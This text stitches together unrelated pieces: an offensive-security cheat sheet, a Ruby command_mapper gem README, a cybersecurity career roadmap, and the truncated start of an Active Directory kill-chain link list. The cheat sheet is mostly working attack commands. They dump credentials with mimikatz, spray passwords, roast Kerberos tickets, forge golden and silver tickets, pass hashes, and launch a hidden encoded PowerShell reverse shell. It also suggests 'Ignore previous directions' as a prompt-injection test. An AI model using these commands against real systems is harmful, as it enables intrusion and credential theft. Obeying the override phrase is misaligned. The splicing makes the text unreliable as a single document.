Neo4j: `neo4j:neo4j` - Log in BloodHound with Neo4j's credentials - Upload here the zip created with SharpHound - Pre-built queries - Find Workstations where Domain Users can RDP - Find Servers where Domain Users can RDP - Find Computers where Domain Users are Local Admin - Shortest Path to Domain Admins from Owned Principals - Custom queries - `MATCH (m:Computer) RETURN m` to display all computers - `MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p` to display all active sessions #### <ins>Mimikatz</ins> After starting `mimikatz.exe`, run the command `privilege::debug` to enable `SeDebugPrivilege` and run `token::elevate` ``` sekurlsa::logonpasswords Dump the credentials of all logged-on users sekurlsa::tickets Tickets stored in memory crypto::capi Make non-exportable keys exportable; CryptoAPI function crypto::cng Make non-exportable keys exportable; KeyIso service lsadump::dcsync /user:<domain>\<user> Domain Controller Synchronization sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /run:powershell Overpass the Hash ``` Other commands to run - `log` - `lsadump::sam` - `lsadump::secrets` - `lsadump::cache` - `lsadump::ekeys` - `sekurlsa::msv` #### <ins>Active Directory Authentication Attacks</ins> #### Password Attacks With LDAP and ADSI - Before any attack, check `net accounts` to learn more about account lockouts - Use the script [Spray-Passwords.ps1](https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1) - Search wich user has the password `SecretPass123!` with `.\Spray-Passwords.ps1 -Pass SecretPass123! -Admin` - Remember to run `powershell -ep bypass` before using scripts Leveraging SMB - `crackmapexec smb <IP> -u users.txt -p 'SecretPass123!' -d <domain-name> --continue-on-success` Password spraying - `crackmapexec smb <domain_name>/<username>:'abd132' -M targets.txt` Spray a specified password `abd132` against all domain joined machines contained in `targets.txt` - Note: this doesn't take in consideration the password policy of the domain By obtaining a TGT - It's possible to use kinit to obtain and cache a Kerberos TGT and automate the process with a script - It's also possible to use [kerbrute](https://github.com/ropnop/kerbrute) instead - `.\kerbrute_windows_amd64.exe passwordspray -d <domain-name> .\usernames.txt "SecretPass123!"` #### AS-REP Roasting On Linux 1. `impacket-GetNPUsers -dc-ip <IP-Domain-Controller> -request -outputfile <outuput_file.asreproast> <domain>/<user>` perform AS-REP roasting 2. `sudo hashcat -m 18200 outuput_file.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` crack the AS-REP hash On Windows 1. With [Rubeus](https://github.com/GhostPack/Rubeus), `.\Rubeus.exe asreproast /nowrap` perform AS-REP roasting 2. `sudo hashcat -m 18200 outuput_file.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` crack the AS-REP hash #### Kerberoasting On Linux 1. `sudo impacket-GetUserSPNs -request -dc-ip <IP-Domain-Controller> <domain>/<user>` perform Kerberoasting 2. `sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` crack the TGS-REP hash On Windows 1. With [Rubeus](https://github.com/GhostPack/Rubeus), `.\Rubeus.exe kerberoast /outfile:hashes.kerberoast` perform Kerberoasting 2. `sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` crack the TGS-REP hash #### Silver Tickets To create a silver ticket, you need: - SPN password hash - Domain SID - Target SPN 1. With mimikatz, run the commands `privilege::debug` and `sekurlsa::logonpasswords` to extract cached AD credentials. Note the NTLM hash of the target user 2. Run on the PowerShell the command `whoami /user` to obtain the domain SID (omit the last 4 digits). Note: you should be able to find it also in the previous step 3. Target an SPN 4. Run `kerberos::golden /sid:<SID> /domain:<DOMAIN> /ptt /target:<TARGET> /service:<SERVICE> /rc4:<NTLM-HASH> /user:<USER>` 5. Confirm that you have the ticket ready to use in memory with `klist` #### Domain Controller Synchronization On Linux 1. `impacket-secretsdump -just-dc-user <target-user> <domain>/<user>:"<password>"@<IP>` 2. Crack the NTLM hash with `hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` On Windows 1. In mimikatz, run the command `lsadump::dcsync /user:<domain>\<user>`, note the Hash NTLM 2. Crack the NTLM hash with `hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force` #### <ins>Lateral Movement Techniques</ins> #### WMI and WinRM 1. Create a PSCredential object that stores session's username and password ```PowerShell $username = '<username>'; $password = '<password>'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; ``` 2. Create a Common Information Model ```PowerShell $options = New-CimSessionOption -Protocol DCOM $session = New-Cimsession -ComputerName <IP> -Credential $credential -SessionOption $options $command = 'calc'; ``` 3. Tie all together with `Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};` Another lateral movement - `winrs -r:<target> -u:<username> -p:<password> "cmd /c hostname & whoami"` - `winrs -r:<target> -u:<username> -p:<password> "powershell -nop -w hidden -e <BASE64>"` PowerShell remoting ```PowerShell $username = '<username>'; $password = '<password>'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; New-PSSession -ComputerName <IP> -Credential $credential ``` - To interact with the session, run the command `Enter-PSSession <SESSION-ID>` #### PsExec ```PowerShell ./PsExec64.exe -i \\<TARGET> -u <DOMAIN>\<USERNAME> -p <PASSWORD> cmd ``` Requirements - The user that authenticates to the target machine needs to be part of the Administrators local group - An SMB connection through the firewall - The `ADMIN$` share must be available - File and Printer Sharing has to be turned on #### Pass the Hash ```PowerShell /usr/bin/impacket-wmiexec -hashes :<hash> <username>@<IP> ``` Requirements - An SMB connection through the firewall - The `ADMIN$` share must be available - The attacker must present valid credentials with local administrative permission #### Overpass the Hash 1. Run the Notepad with `Run as different user` to cache the credentials on the machine 2. Run mimikatz. Execute the commands `privilege::debug` and `sekurlsa::logonpasswords` to dump the password hash for the user just used 3. Now, in mimikatz, execute the command `sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /run:powershell` to run a PowerShell 4. Authenticate to a network share of the target `net use \\<target>` 5. Use `klist` to notice the newly requested Kerberos tickets, including a TGT and a TGS for the Common Internet File System (CIFS) 6. Now you can run `.\PsExec.exe \\<target> cmd` #### Pass the Ticket 1. Verify that you are not able to access to a restricted shared folder 2. Run mimikatz. Execute `#privilege::debug` 3. `#sekurlsa::tickets /export` export all the TGT/TGS from memory 4. Verify generated tickets with `PS:\> dir *.kirbi` 5. Inject a ticket from mimikatz with `kerberos::ptt <ticket_name>` 6. Inspect the injected ticket with `C:\> klist` 7. Access the restricted shared folder #### DCOM 1. `$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<IP>"))` remotely Instantiate the MMC Application object 2. `$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")` execute a command on the remote DCOM object 3. `$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <BASE64>","7")` reverse shell, run a listener with `nc -lnvp 443` #### <ins>Active Directory Persistence</ins> #### Golden Ticket 1. Run mimikatz, execute the command `privilege::debug` 2. `lsadump::lsa /patch` dump the krbtgt password hash 3. Run `kerberos::purge` 4. `kerberos::golden /user:<USER> /domain:corp.com /sid:<SID> /krbtgt:<NTLM> /ptt` inject the golden ticket #### Shadow copies 1. `vshadow.exe -nw -p C:` perform a shadow copy of the `C:` drive 2. `copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak` copy the ntds database to the C: drive 3. `reg.exe save hklm\system c:\system.bak` save the SYSTEM hive from the Windows registry 4. `impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL` extract the credential materials #### <ins>Remote Desktop</ins> ``` # enable RDP Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 # enable RDP pass the hash New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value "0" PropertyType DWORD -Force # enable RDP and add user reg add "HEY_LOCAL _MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" / fDenyTSConnections /t REG_DWORD /d 0 /f reg add HKLM\System \CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f netsh advfirewall set allprofiles state off net localgroup "remote desktop users" <USER. NAME> / add ``` ## Mobile **FlappyBird_structure.apk**<br/> ├── **AndroidManifest.xml** meta-information about the app<br/> ├── **META-INF/** a manifest of metadata information<br/> ├── **classes.dex** contains the Java libraries that the application uses<br/> ├── **lib/** compiled native libraries used by the app<br/> ├── **res/** It can store resource files such as pictures, XML files, etc.<br/> ├── **assets/** application assets<br/> └── **resources.arsc** contains compiled resources in a binary format **Data storage** search for PII unencrypted in - [ ] Phone system logs - [ ] Webkit cache - [ ] Dbs, plists, etc. - [ ] Hardcoded in the binary **Resources** - [Mobile Application Penetration Testing Cheat Sheet](https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet) - [Mobile Hacking Cheatsheet](https://github.com/randorisec/MobileHackingCheatSheet) - [OWASP Mobile Application Security](https://mas.owasp.org/) **Download APKs** - [m.apkpure.com](https://m.apkpure.com/it/) - [apps.evozi.com](https://apps.evozi.com/apk-downloader/) - [apk-dl.com](http://apk-dl.com/) **Emulators** - [Noxplayer](https://www.bignox.com/) - [Genymotion](https://www.genymotion.com/) an android emulator - [Android Studio](https://developer.android.com/studio) Android application development, useful also for the emulator - Note: to start only the emulator, use commands such as ```cmd cd C:\Users\Riccardo\AppData\Local\Android\Sdk\emulator emulator -avd Pixel_4_XL_API_30 ``` **Android tools** - [adb](https://developer.android.com/studio/command-line/adb) it is used to debug an android device - [frida](https://github.com/frida/frida/) - [HTTP Toolkit](https://httptoolkit.tech/) to see requests on a non-rooted or emulated device - [Java Decompiler](https://java-decompiler.github.io/) - [dex2jar](https://github.com/pxb1988/dex2jar) decompile an .apk into .jar - [jadx-gui](https://github.com/skylot/jadx/releases) another tool for producing Java source code from Android Dex and Apk files - [apktool](https://ibotpeaches.github.io/Apktool/) to unpack an apk - [APK-MITM](https://github.com/shroudedcode/apk-mitm) removes certificate pinning - [Apkleak](https://github.com/dwisiswant0/apkleaks) to get endpoints from an apk - [Frida](https://github.com/frida/frida) ### <ins>Missing Certificate and Public Key Pinning</ins> Absence or improper implementation of certificate and public key pinning in a mobile app. This allows an attacker to potentially intercept communication by presenting fraudulent or unauthorized certificates, undermining the security of the system and enabling man-in-the-middle attacks. ### <ins>Cordova attacks</ins> - Check for HTML injections - Search for XSS - With this type of attack, it's possible to achieve an RCE. Check [this](https://www.joshmorony.com/why-xss-attacks-are-more-dangerous-for-capacitor-cordova-apps/) and [this](https://research.securitum.com/security-problems-of-apache-cordova-steal-the-entire-contents-of-the-phone_s-memory-card-with-one-xss/) ## Cloud hacking **Resources** - [cloud_metadata.txt](https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b), Cloud Metadata Dictionary useful for SSRF Testing ### <ins>Abusing S3 Bucket Permissions</ins> Target example: `http://[name_of_bucket].s3.amazonaws.com` **Read Permission** - `aws s3 ls s3://[name_of_bucket] --no-sign-request` - `aws s3 ls s3://pyx-pkgs --recursive --human-readable --summarize` **Write Permission** - `aws s3 cp localfile s3://[name_of_bucket]/test_file.txt –-no-sign-request` **READ_ACP** - `aws s3api get-bucket-acl --bucket [bucketname] --no-sign` - `aws s3api get-object-acl --bucket [bucketname] --key index.html --no-sign-request` **WRITE_ACP** - `aws s3api put-bucket-acl --bucket [bucketname] [ACLPERMISSIONS] --no-sign-request` - `aws s3api put-object-acl --bucket [bucketname] --key file.txt [ACLPERMISSIONS] --no-sign-request` **Tools** - [Anonymous Cloud](https://portswigger.net/bappstore/ea60f107b25d44ddb59c1aee3786c6a1) - [AWS CLI](https://aws.amazon.com/it/cli/) - [S3Scanner](https://github.com/sa7mon/S3Scanner) A tool to find open S3 buckets and dump their contents - [Cloud - AWS Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md) - [s3enum](https://github.com/koenrh/s3enum) - To find secrets, you can use [trufflehog](https://github.com/trufflesecurity/trufflehog). **Resources** - [Abusing S3 Bucket Permissions](https://blog.yeswehack.com/yeswerhackers/abusing-s3-bucket-permissions/) - [Amazon S3: Allows read and write access to objects in an S3 Bucket](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_s3_rw-bucket.html) ### <ins>AWS Cognito</ins> If you've found aws cognito client id and secret 1. `clientID:clientSercret` => `base64KEY` 2. `curl -X POST 'https://xx.amazoncognito.com/oauth2/token' \ -H 'Authorization: Basic base64KEY'\ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'grant_type=client_credentials'` 3. [Source](https://twitter.com/GodfatherOrwa/status/1670617783510376448) ### <ins>Google Cloud Storage bucket</ins> **Tools** - [Anonymous Cloud](https://portswigger.net/bappstore/ea60f107b25d44ddb59c1aee3786c6a1) - https://github.com/RhinoSecurityLabs/GCPBucketBrute **Resources** - https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ - https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/ ## Artificial intelligence vulnerabilities ### <ins>Prompt Injection</ins> **Prompt Injection** is when an AI that follows textual instructions (a "prompt") to complete a job gets deceived by hostile, adversarial human input to do a task that was not its original goal. To test it, inject the text `Ignore previous directions`. Some examples: - ["Exploiting GPT-3 prompts with malicious inputs that order the model to ignore its previous directions"](https://twitter.com/goodside/status/1569128808308957185) - ["OpenAI’s ChatGPT is susceptible to prompt injection — say the magic words, “Ignore previous directions”, and it will happily divulge to you OpenAI’s proprietary prompt"](https://twitter.com/goodside/status/1598253337400717313) - [Exploring Prompt Injection Attacks](https://research.nccgroup.com/2022/12/05/exploring-prompt-injection-attacks/) - ["Prompt Injection Everywhere" by TakSec](https://github.com/TakSec/Prompt-Injection-Everywhere)
# command_mapper [![CI](https://github.com/postmodern/command_mapper.rb/actions/workflows/ruby.yml/badge.svg)](https://github.com/postmodern/command_mapper.rb/actions/workflows/ruby.yml) [![Code Climate](https://codeclimate.com/github/postmodern/command_mapper.rb.svg)](https://codeclimate.com/github/postmodern/command_mapper.rb) [![Gem Version](https://badge.fury.io/rb/command_mapper.svg)](https://badge.fury.io/rb/command_mapper) * [Source](https://github.com/postmodern/command_mapper) * [Issues](https://github.com/postmodern/command_mapper/issues) * [Documentation](http://rubydoc.info/gems/command_mapper/frames) ## Description Command Mapper maps an external command's options and arguments to Class attributes to allow safely and securely executing commands. ## Features * Supports defining commands as Ruby classes. * Supports mapping in options and additional arguments. * Supports common option types: * [Str][CommandMapper::Types::Str]: string values * [Num][CommandMapper::Types::Num]: numeric values * [Dec][CommandMapper::Types::Dec]: decimal values * [Hex][CommandMapper::Types::Hex]: hexadecimal values * [Map][CommandMapper::Types::Map]: maps Ruby values to other String values. * `Map::YesNo`: maps `true`/`false` to `yes`/`no`. * `Map::EnabledDisabled`: Maps `true`/`false` to `enabled`/`disabled`. * [Enum][CommandMapper::Types::Enum]: maps a finite set of Symbols to a finite set of Strings (aka `--opt={foo|bar|baz}` values). * [List][CommandMapper::Types::List]: comma-separated list (aka `--opt VALUE,...`). * [KeyValue][CommandMapper::Types::KeyValue]: maps a Hash or Array to key:value Strings (aka `--opt KEY:VALUE` or `--opt KEY=VALUE` values). * [KeyValueList][CommandMapper::Types::KeyValueList]: a key-value list (aka `--opt KEY:VALUE,...` or `--opt KEY=VALUE;...` values). * [InputPath][CommandMapper::Types::InputPath]: a path to a pre-existing file or directory * [InputFile][CommandMapper::Types::InputFile]: a path to a pre-existing file * [InputDir][CommandMapper::Types::InputDir]: a path to a pre-existing directory * Supports mapping in sub-commands. * Allows running the command via `IO.popen` to read the command's output. * Allows running commands with additional environment variables. * Allows overriding the command name or path to the command. * Allows running commands via `sudo`. * Prevents [command injection] and [option injection]. [command injection]: https://owasp.org/www-community/attacks/Command_Injection [option injection]: https://staaldraad.github.io/post/2019-11-24-argument-injection/ [CommandMapper::Types::Str]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Str [CommandMapper::Types::Num]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Num [CommandMapper::Types::Dec]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Dec [CommandMapper::Types::Hex]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Hex [CommandMapper::Types::Map]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Map [CommandMapper::Types::Enum]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/Enum [CommandMapper::Types::List]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/List [CommandMapper::Types::KeyValue]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/KeyValue [CommandMapper::Types::KeyValueList]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/KeyValueList [CommandMapper::Types::InputPath]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/InputPath [CommandMapper::Types::InputFile]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/InputFile [CommandMapper::Types::InputDir]: https://rubydoc.info/gems/command_mapper/CommandMapper/Types/InputDir ## Examples ```ruby require 'command_mapper/command' # # Represents the `grep` command # class Grep < CommandMapper::Command command "grep" do option "--extended-regexp" option "--fixed-strings" option "--basic-regexp" option "--perl-regexp" option "--regexp", equals: true, value: true option "--file", name: :patterns_file, equals: true, value: true option "--ignore-case" option "--no-ignore-case" option "--word-regexp" option "--line-regexp" option "--null-data" option "--no-messages" option "--invert-match" option "--version" option "--help" option "--max-count", equals: true, value: {type: Num.new} option "--byte-offset" option "--line-number" option "--line-buffered" option "--with-filename" option "--no-filename" option "--label", equals: true, value: true option "--only-matching" option "--quiet" option "--binary-files", equals: true, value: true option "--text" option "-I", name: # FIXME: name option "--directories", equals: true, value: true option "--devices", equals: true, value: true option "--recursive" option "--dereference-recursive" option "--include", equals: true, value: true option "--exclude", equals: true, value: true option "--exclude-from", equals: true, value: true option "--exclude-dir", equals: true, value: true option "--files-without-match", value: true option "--files-with-matches" option "--count" option "--initial-tab" option "--null" option "--before-context", equals: true, value: {type: Num.new} option "--after-context", equals: true, value: {type: Num.new} option "--context", equals: true, value: {type: Num.new} option "--group-separator", equals: true, value: true option "--no-group-separator" option "--color", equals: :optional, value: {required: false} option "--colour", equals: :optional, value: {required: false} option "--binary" argument :patterns argument :file, required: false, repeats: true end end ``` ### Defining Options ```ruby option "--opt" ``` Define a short option: ```ruby option "-o", name: :opt ``` Defines an option with a required value: ```ruby option "--output", value: {required: true} ``` Defines an option that uses an equals sign (ex: `--output=value`): ```ruby option "--output", equals: true, value: {required: true} ``` Defines an option where the value is embedded into the flag (ex: `-Ivalue`): ```ruby option "-I", value: {required: true}, value_in_flag: true ``` Defines an option that can be specified multiple times: ```ruby option "--include-dir", repeats: true ``` Defines an option that accepts a numeric value: ```ruby option "--count", value: {type: Num.new} ``` Define an option that only accepts a range of acceptable values: ```ruby option "--count", value: {type: Num.new(range: 1..100)} ``` Defines an option that accepts a comma-separated list: ```ruby option "--list", value: {type: List.new} ``` Defines an option that accepts a `key=value` pair: ```ruby option "--param", value: {type: KeyValue.new} ``` Defines an option that accepts a `key:value` pair: ```ruby option "--param", value: {type: KeyValue.new(separator: ':')} ``` Defines an option that accepts a finite number of values: ```ruby option "--type", value: {type: Enum[:foo, :bar, :baz]} ``` Custom methods: ```ruby def foo @foo || @bar end def foo=(value) @foo = case value when Hash then ... when Array then ... else value.to_s end end ``` ### Defining Arguments ```ruby argument :host ``` Define an optional argument: ```ruby argument :optional_output, required: false ``` Define an argument that can be repeated: ```ruby argument :files, repeats: true ``` Define an argument that accepts an existing file: ```ruby argument :file, type: InputFile.new ``` Define an argument that accepts an existing directory: ```ruby argument :dir, type: InputDir.new ``` Custom methods: ```ruby def foo @foo || @bar end def foo=(value) @foo = case value when Hash then ... when Array then ... else value.to_s end end ``` ### Custom Types ```ruby class PortRange < CommandMapper::Types::Type def validate(value) case value when Integer true when Range if value.begin.kind_of?(Integer) true else [false, "port range can only contain Integers"] end else [false, "port range must be an Integer or a Range of Integers"] end end def format(value) case value when Integer "#{value}" when Range "#{value.begin}-#{value.end}" end end end option :ports, value: {required: true, type: PortRange.new} ``` ### Running Keyword arguments: ```ruby Grep.run(ignore_case: true, patterns: "foo", file: "file.txt") # ... ``` With a block: ```ruby Grep.run do |grep| grep.ignore_case = true grep.patterns = "foo" grep.file = "file.txt" end ``` Overriding the command name: ```ruby Grep.run(..., command_name: 'grep2') ``` Specifying the direct path to the command: ```ruby Grep.run(..., command_path: '/path/to/grep') ``` ### Capturing output ```ruby Grep.capture(ignore_case: true, patterns: "foo", file: "file.txt") # => "..." ``` ### popen ```ruby io = Grep.popen(ignore_case: true, patterns: "foo", file: "file.txt") io.each_line do |line| # ... end ``` ### sudo ```ruby Grep.sudo(patterns: "Error", file: "/var/log/syslog") # Password: # ... ``` ### Defining sub-commands ```ruby module Git class Command < CommandMapper::Command command 'git' do option "--version" option "--help" option "-C", name: :dir, value: {type: InputDir.new} # ... subcommand :clone do option "--bare" option "--mirror" option "--depth", value: {type: Num.new} # ... argument :repository argument :directory, required: false end # ... end end end ``` ### Invoking sub-commands ```ruby Git::Command.run(clone: {repository: 'https://github.com/user/repo.git'}) ``` ### Code Gen [command_mapper-gen] can automatically generate command classes from a command's `--help` output and/or man page. [command_mapper-gen]: https://github.com/postmodern/command_mapper-gen.rb#readme ``` $ gem install command_mapper-gen $ command_mapper-gen cat require 'command_mapper/command' # # Represents the `cat` command # class Cat < CommandMapper::Command command "cat" do option "--show-all" option "--number-nonblank" option "-e", name: # FIXME: name option "--show-ends" option "--number" option "--squeeze-blank" option "-t", name: # FIXME: name option "--show-tabs" option "-u", name: # FIXME: name option "--show-nonprinting" option "--help" option "--version" argument :file, required: false, repeats: true end end ``` ### Real-World Examples * [ruby-nmap](https://github.com/postmodern/ruby-nmap#readme) * [ruby-masscan](https://github.com/postmodern/ruby-masscan#readme) * [ruby-amass](https://github.com/postmodern/ruby-amass#readme) * [ruby-yasm](https://github.com/postmodern/ruby-yasm#readme) * [ruby-ncrack](https://github.com/postmodern/ruby-ncrack#readme) * [ruby-nikto](https://github.com/postmodern/ruby-nikto#readme) * [ruby-gobuster](https://github.com/postmodern/ruby-gobuster#readme) * [ruby-feroxbuster](https://github.com/postmodern/ruby-feroxbuster#readme) * [ruby-rustscan](https://github.com/postmodern/ruby-rustscan#readme) ## Requirements * [ruby] >= 2.0.0 ## Install ```shell $ gem install command_mapper ``` ### Gemfile ```ruby gem 'command_mapper', '~> 0.2' ``` ### gemspec ```ruby gemspec.add_dependency 'command_mapper', '~> 0.2' ``` ## Alternatives * [terrapin](https://github.com/thoughtbot/terrapin#readme) ## License Copyright (c) 2021-2022 Hal Brodigan See {file:LICENSE.txt} for license information. [command_mapper]: https://github.com/postmodern/command_mapper.rb#readme [ruby]: https://www.ruby-lang.org/
## Cyber-Security Roadmap The roadmap is broken into different steps. - STEP 1: Educational Qualification. - STEP 2: Technical and soft skill required. - STEP 3: Learning materials and practical skills experience. - STEP 4: Relevant Certification. - STEP 5: Job Application. - STEP 6: Recommended Books. - STEP 7: Topics not to Miss. ## Educational Qualification. - A degree in Information Technology/computer science or any related field. ## Technical and soft skill required - Networking Basics and internet (Must have) - Programming (Must have) - Linux (Must have) - Have the ability to work under pressure - Good communication skill - Problem-solving skill ## Learning material and practical skills experience - Cisco Networking Academy (Netcad) - TryHackMe - Hackthebox Academy - Overthewire (master Linux) - learnPython - Read security news/policies on hackerRank ## Relevant Certification. - CISSP (Certified Information Systems Security Professional) - CEH (Certified Ethical Hacker) - Cisco Certified Network Professional (CCNP) Security - OSCP (Offensive Security Certified Professional) ## Job Application - Good Resume: should highlight the steps mentioned above. - Cisco Talent Bridge (provides easy ways to secure a Job in cybersecurity). - LinkedIn searches. - Connect with professional on linkedIn, Twitter and other social media sites. - Attend Conferences or Virtual meetings. ## Recommended Books - B. Sullivan, V. Liu, and M. Howard, Web Application Security, A B Guide. New York: McGraw-Hill Education, 2011. (ISBN No.: 978-0-07-177616-5). - M. Shema and J. B. Alcover, Hacking Web Apps: Detecting and Preventing Web Application Security Problems. Washington, DC, United States: Syngress Publishing, 2014.(ISBN No. 978-1-59-749951-4) - W. Stallings, Cryptography and Network Security: Principles and Practice, 5th Ed. Boston: Prentice Hall, 2010. (ISBN No.: 978-0-13-609704-4). - M. Rhodes-Ousley, Network security the complete reference (complete reference), 2nd ed. New York, USA: McGraw-Hill Professional Publishing, 2013. (ISBN No. :978-1-59749-535-6) - Cyber Security, Understanding cyber crimes, computer forensics and legal perspectives, Nina Godbole,Sunit Belapure, Wiley Publications, Reprint 2016 - Cybersecurity for Dummies, Brian Underdahl, Wiley, 2011 ## Topics Not To Miss ### Understanding Cryptography - **Mathematics You Need:** Finite Fields and Number Theory: Modular arithmetic, Euclidian Algorithm, Primality Testing: Fermats and Eulers theorem, Chinese Reminder theorem, Discrete Logarithms - **Symmetric key cryptographic techniques:** Introduction to Stream cipher, Block cipher: DES, AES,IDEA Asymmetric key cryptographic techniques: principles,RSA,ElGamal,Elliptic Curve Cryptography, Key distribution and Key exchange protocols. - **Integrity and Authentication:** Hash functions,Secure Hash Algorithm (SHA)Message Authentication, Message Authentica- tion Code (MAC), Digital Signature Algorithm : RSA ElGamal based ### Learning About Networks - **Introduction to Networking for Security :** Access Control and Site Security- Virtual Local Area Network (VLAN), Demilitarized zone (DMZ) ATTACKS, SERVICES MECHANISMS Attack Methods – TCP/IP Internetworking, Security problems in TCP/IP protocol suite, BGP security attacks, DNS Cache poisoning, Denial of Service (DoS) attacks, Distributed Denial of Service (DDoS) attacks, IP Trace back attacks. - **REAL-TIME COMMUNICATION SECURITY:** Introduction to TCP/IP protocol stack -Implementation layers for security protocols and implications - IPsec: AH and ESP- IPsec: IKE- SSL/TLS- Distribution lists-Establishing keysPrivacy, Source Authentication, Message Integrity, Non-Repudiation, Proof of Submission, Proof of Delivery, Message Flow Confidentiality, Anonymity – Packet filters-Application level gateways. - **Network Defense:** Firewall, VPNs, Intrusion Detection and Prevention filters, Covert channels and counter measures in communication protocols, Techniques for shielding applications from an untrusted environment, Client and Server Security tools and applications ### Web Security - **Introduction:** Web Application Security - Core Defence Mechanisms - Handling User Access - Handling User Input- Handling Attackers - Managing the Application - The OWASP Top Ten List - **WEB APPLICATION TECHNOLOGIES:** Web Functionality Encoding Schemes Mapping the Application - Enumerating the Content and Functionality Analysing the Application Bypassing Client Side Controls : Transmitting Data Via the Client Capturing User Data Handling Client Side Data Securely - Input Validation, Blacklist Validation - Whitelist Validation - The Defence-in-Depth Approach - Attack Surface Reduction Rules of Thumb - **WEB APPLICATION AUTHENTICATION:** Authentication Fundamentals- Two Factor and Three Factor Authentication - Password Based, Built-in HTTP, Single Sign-on Custom Authentication- Secured Password Based Authentication: Attacks against Password, Importance of Password Complexity - Design Flaws in Authentication Mechanisms - Implementation Flaws in Authentication Mechanisms - Securing Authentication - **SESSION MANAGEMENT:** Need for Session Management Weaknesses in Session Token Generation Weaknesses in Session Token Handling Securing Session Management; Access Control : Access Control Overview, Common Vulnerabilities Attacking Access Controls Securing Access Control. - **WEB APPLICATION VULNERABILITY** Understanding Vulnerabilities in Traditional Client Server Application and Web Applications, Client State Manipulation, Cookie based Attacks, SQL Injection, Cross Domain Attack (XSS/ XSRF/ XSSI), HTTP Header Injection, SSL Vulnerabilities And Testing - Proper Encryption use in Web Application - Session Vulnerabilities and Testing - Cross-Site Request Forgery - **EXPLOITING SYSTEMS:** Path Traversal - Finding and Exploiting Path Traversal Vulnerability Preventing Path Traversal Vulnerability Information Disclosure - Exploiting Error Messages Securing Compiled Applications Buffer Overflow Vulnerability Integer Vulnerability Format String Vulnerability Cyber Security is an ever-learning Journey so you have to always stay updated. Read books and never stop learning. Note: All skill highlighted above can be acquired with the amount of effort put in place. Practice is an inevitable skill needed to succeed in a Cybersecurity Career.
# Active Directory Kill Chain Attack & Defense <img width="650" src="https://camo.githubusercontent.com/9547d8152e3490a6e5e3da0279faab64340885be/68747470733a2f2f646f63732e6d6963726f736f66742e636f6d2f656e2d75732f616476616e6365642d7468726561742d616e616c79746963732f6d656469612f61747461636b2d6b696c6c2d636861696e2d736d616c6c2e6a7067"> ## Summary This document was designed to be a useful, informational asset for those looking to understand the specific tactics, techniques, and procedures (TTPs) attackers are leveraging to compromise active directory and guidance to mitigation, detection, and prevention. And understand Active Directory Kill Chain Attack and Modern Post Exploitation Adversary Tradecraft Activity. ## Table of Contents * [Discovery](#discovery) * [Privilege Escalation](#privilege-escalation) * [Defense Evasion](#defense-evasion) * [Credential Dumping](#credential-dumping) * [Lateral Movement](#lateral-movement) * [Persistence](#persistence) * [Defense & Detection](#defense-&-detection) ------ ## Discovery ### SPN Scanning * [SPN Scanning – Service Discovery without Network Port Scanning](https://adsecurity.org/?p=1508) * [Active Directory: PowerShell script to list all SPNs used](https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx) * [Discovering Service Accounts Without Using Privileges](https://blog.stealthbits.com/discovering-service-accounts-without-using-privileges/) ### Data Mining * [A Data Hunting Overview](https://thevivi.net/2018/05/23/a-data-hunting-overview/) * [Push it, Push it Real Good](https://blog.harmj0y.net/redteaming/push-it-push-it-real-good/) * [Finding Sensitive Data on Domain SQL Servers using PowerUpSQL](https://blog.netspi.com/finding-sensitive-data-domain-sql-servers-using-powerupsql/) * [Sensitive Data Discovery in Email with 